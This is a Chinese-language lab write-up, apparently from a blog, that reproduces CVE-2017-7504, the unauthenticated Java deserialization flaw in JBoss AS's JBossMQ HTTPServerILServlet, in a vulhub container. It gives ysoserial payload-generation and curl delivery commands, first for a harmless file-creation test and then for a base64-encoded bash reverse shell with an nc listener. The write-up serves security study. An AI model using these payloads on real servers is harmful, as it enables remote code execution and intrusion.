影响范围

  • JBoss AS 3.2.0 - 4.2.3.GA

漏洞类型

Java 反序列化

操作系统限制

配置要求

默认配置

漏洞利用

命令执行,反弹 shell

利用原理

JBoss AS 默认集成了一个用于 HTTP 协议传输信息的组件 JBossMQ,其组件含有一个名为 HTTPServerILServlet 的接口,该接口访问路径/jbossmq-httpil/HTTPServerILServlet 无需校验即可访问,Servlet 处理 POST 请求数据时,直接调用 readObject () 方法来反序列化数据流,且未对传入对象进行安全过滤或白名单限制,攻击者利用 yoserial 工具生成恶意系列化二进制数据,通过 HTTP 请求发送到靶机,JBoss 解析对象时自动触发对象内部嵌套的恶意代码

漏洞复现

现成的 vulhub 来拉取镜像

1
2
3
4
5
6
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/jboss/CVE-2017-7504
#拉取镜像
docker-compose up -d

1773506967678

下载攻击工具并检查是否有 Java 环境

1
2
3
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar -O ysoserial.jar
#检查Java环境
java -version

1773507049029

使用 ysoserial 生成序列化数据

1
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/success" > payload.ser

1773507085818

用 curl 发送 payload

1
curl http://靶机ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @payload.ser

1773507115114

进入容器查看 tmp 文件夹,发现 success,说明成功复现漏洞

1773507138029

下面进行反弹 shell,开启 nc 监听

1773507180906

把执行命令换成反弹 shell

1
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}" > payload.ser

1773507207767

发送攻击 payload

1773507261832

成功连接

1773507291544